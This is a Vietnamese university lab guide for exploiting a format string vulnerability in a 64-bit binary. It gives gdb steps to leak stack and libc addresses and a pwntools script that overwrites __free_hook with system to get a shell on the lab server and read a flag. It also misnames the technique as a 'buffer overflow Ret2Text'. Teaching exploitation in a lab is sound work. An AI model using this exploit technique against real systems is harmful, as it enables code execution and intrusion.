Format String: 64 bit application 3

1. Tổng quan

Lab này bao gồm mã nguồn của chương trình lỗi được biên dịch và chạy dưới kiến trúc 64-bit.

2. Yêu cầu đối với sinh viên

Sinh viên cần có kỹ năng sử dụng câu lệnh linux, hiểu biết thức nhất định về lập trình ngôn ngữ bậc thấp, biết sử dụng python phục vụ mục đích viết payload, hiểu được cơ bản về cách thức hoạt động của lỗi format string, hoàn thành lab format64_2

3. Môi trường lab

Từ thư mục labtainer-student bắt đầu bài lab bằng câu lệnh:

labtainer -r ptit-format64_3

Sinh viên sẽ được cung cấp 3 container, trong đó:

- Container attacker: chạy 2 terminal, chứa binary của service chạy
- Container ghidra: chạy 1 terminal, chứa binary của service chạy
- Container server: chạy ẩn binary của service

4. Tasks

Mục đích bài lab: Giúp sinh viên hiểu được về kỹ thuật tấn công buffer overflow Ret2Text

a. Trigger bug

Mục đích: Tìm được index trỏ đến đầu buffer

Các bước thực hiện:

- Thực hiện debug tiến trình:
    - gdb format64_3
- Chạy chương trình:
    - run
- Tiến hành tạo một khối với nội dung chứa chuỗi format string
    - C
    - Index = 0
    - Size = 200
    - Content = %p%p%p%p%p%p%p%p

- In ra khối đó để trigger bug
    - S
    - Index = 0
- Output sẽ in ra giá trị trên stack
- Tìm phần tử %p tương ứng khi thấy bắt đầu có sự lặp lại các giá trị in ra
- Sử dụng Ctrl-C để thoát tiến trình debug

b. Find free_hook

Mục đích: Tìm được địa chỉ hàm free_hook

Các bước thực hiện:

- Mở lại tiến trình debug:
    - gdb format64_3
- Thực hiện đặt breakpoint tại main:
    - b main
- Chạy chương trình
    - run
- Thực hiện chạy lệnh in địa chỉ để in ra địa chỉ của __free_hook:
    - print &__free_hook
- Lưu địa chỉ này lại để tính offset của __free_hook so với libc base

c. Find system

Mục đích: Tìm được địa chỉ hàm system

Các bước thực hiện:

- Thực hiện chạy lệnh in địa chỉ để in ra địa chỉ của system:
    - print system
- Lưu địa chỉ này lại để tính offset của system so với libc base

d. VMMAP

Mục đích: Tìm được offset của địa chỉ leak, offset system và offset free_hook

Các bước thực hiện:

- Tại cửa số đang debug thực hiện câu lệnh vmmap để in ra thông tin phân vùng bộ nhớ:

    - Vmmap
- Địa chỉ ở cột start tại dòng đầu tiên trỏ tới libc là địa chỉ base của libc
- Tính địa chỉ offset của system và free_hook bằng cách lấy 2 địa chỉ ở trên tìm được sau đó trừ đi địa chỉ libc_base

e. Overwrite

Mục đích: Tìm được param thích hợp để tấn công

Các bước thực hiện:

- Gõ stack và ấn enter thêm vài lần để hiện thêm thông tin của stack:
    - stack
- Tìm ô địa chỉ sao cho ô địa chỉ đó chứa giá trị là một danh sách liên kết đơn có ít nhất 2 node
- Địa chỉ của ô đó và địa chỉ của ô mà nó chứa là 2 địa chỉ cần
- Xác định 2 ô địa chỉ đó là phần tử %p thứ bao nhiêu 2 số đó sẽ lần lượt là param1 và param2
- Sau khi hoàn thiện payload tiến hành chạy một cửa sổ pwnserver:
    - ./gdbpwnserver.sh
- Và một cửa sổ chạy file khai thác (local):
    - python3.8 solve.py
- Đặt breakpoint lại show:
    - b *show+224
- Sau đó tiếp tục, lúc này bên cửa sổ chạy payload bấm phím bất kì để tiếp tục
- Sau đó bên cửa sổ debug chạy lệnh c và ấn enter đến khi nào format có chứa "%23$hn"
- Nhập lệnh ni để step qua hàm printf:
    - ni
- Chạy lệnh stack và ấn enter 2 lần, khi này có thể thấy được giá trị của hàm system đã đè thành công vào địa chỉ free_hook

f. Secret

Mục đích: Tìm được nội dung flag được giấu trên server

Các bước thực hiện:

- Thay đổi payload để thực hiện tấn công lên server
    - P = remote('192.168.1.2', 1810)
- Đọc file secret sau đó copy chuỗi số bí mật:
    - cat .secret
- Thoát khỏi chương trình sau đó submit flag tại cửa sổ terminal của attacker
    - echo "flag <secret number>"

payload cuối cùng:

```
from pwn import *
context.terminal = ['./gdbpwn-client.sh']
elf = ELF('./format64_3')

p = elf.process()
gdb.attach(p)
gdb.attach(p, """
b *show+224
b delete
""")
pause()
leak_payload = b'%10$p|%13$p'

# function to write value3 to value4
def write_(p, value4, value3, param1, param2):
        # setup
        write_addr = value3
        write_addr_offset = write_addr & 0xffff

        lo, hi, ext = (value4 & 0xffff), ((value4>>16) & 0xffff), (value4 >> 32)
        write_arr = {lo:write_addr_offset, hi:(write_addr_offset+2),
ext:(write_addr_offset + 4)}
        print (write_arr)
        # write_addr
        for i in write_arr:
                ## write addr offset to param2 using param1
                payload  = b'%' + str(write_arr[i]).encode()
                payload += b'c%' + str(param1).encode() + b'$hn'
```

```
                p.sendlineafter(b'> ', b'M')
                p.sendlineafter(b'> ', b'10')
                p.sendlineafter(b'> ', payload)
                p.sendlineafter(b'> ', b'S')
                p.sendlineafter(b'> ', b'10')
                ## use param2 to modify value
                payload = b'%' + str(i).encode()
                payload += b'c%' + str(param2).encode() + b'$hn'

                p.sendlineafter(b'> ', b'M')
                p.sendlineafter(b'> ', b'10')
                p.sendlineafter(b'> ', payload)
                p.sendlineafter(b'> ', b'S')
                p.sendlineafter(b'> ', b'10')

# create block size 100
p.sendlineafter(b'> ', b'C')
p.sendlineafter(b'> ', b'0')
p.sendlineafter(b'> ', b'100')
p.sendlineafter(b'> ', leak_payload)

# trigger bug, leak stack, libc
p.sendlineafter(b'> ', b'S')
p.sendlineafter(b'> ', b'0')
p.recvuntil(b': ')
raw = p.recvline().replace(b'\n', b"").split(b'|')
print (raw)
leak = int(raw[1], 16)

param1 = 0
param2 = 0
system_offset = 0
offset_leak = 0
__free_hook_offset = 0

stack_base = int(raw[0], 16) - 13*8
libc_base = leak - offset_leak
system = libc_base + system_offset
__free_hook = libc_base + __free_hook_offset

p.sendlineafter(b'> ', b'C')
p.sendlineafter(b'> ', b'10')
p.sendlineafter(b'> ', b'200')
```

```
p.sendlineafter(b'> ', b'AABB')

write_(p, __free_hook,  stack_base + 22*8, param1, param2)
write_(p, __free_hook+2,  stack_base + 23*8, param1, param2)
write_(p, __free_hook+4,  stack_base + 24*8, param1, param2)

p.sendlineafter(b'> ', b'M')
p.sendlineafter(b'> ', b'10')
p.sendlineafter(b'> ', b'%'+str(system & 0xffff).encode() +b'c%21$hn')
p.sendlineafter(b'> ', b'S')
#pause()
p.sendlineafter(b'> ', b'10')

p.sendlineafter(b'> ', b'M')
p.sendlineafter(b'> ', b'10')
p.sendlineafter(b'> ', b'%'+str((system >> 16) & 0xffff).encode() +b'c%22$hn')
p.sendlineafter(b'> ', b'S')
#pause()
p.sendlineafter(b'> ', b'10')

p.sendlineafter(b'> ', b'M')
p.sendlineafter(b'> ', b'10')
p.sendlineafter(b'> ', b'%'+str(system >> 32).encode() +b'c%23$hn')
p.sendlineafter(b'> ', b'S')
pause()
p.sendlineafter(b'> ', b'10')

p.sendlineafter(b'> ', b'M')
p.sendlineafter(b'> ', b'10')
p.sendlineafter(b'> ', b'/bin/sh\x00')
p.sendlineafter(b'> ', b'D')
p.sendlineafter(b'> ', b'10')

p.interactive()
```

5. Kết thúc bài lab

- Thực hiện checkwork bài lab bằng câu lệnh bên dưới:
    - checkwork ptit-format64_3
- Trên terminal đầu tiên sử dụng câu lệnh sau để kết thúc bài lab:
    - stoplab ptit-format64_3

- Trong quá trình làm bài sinh viên cần thực hiện lại bài lab, dùng câu lệnh:
    - labtainer -r ptit-format64_3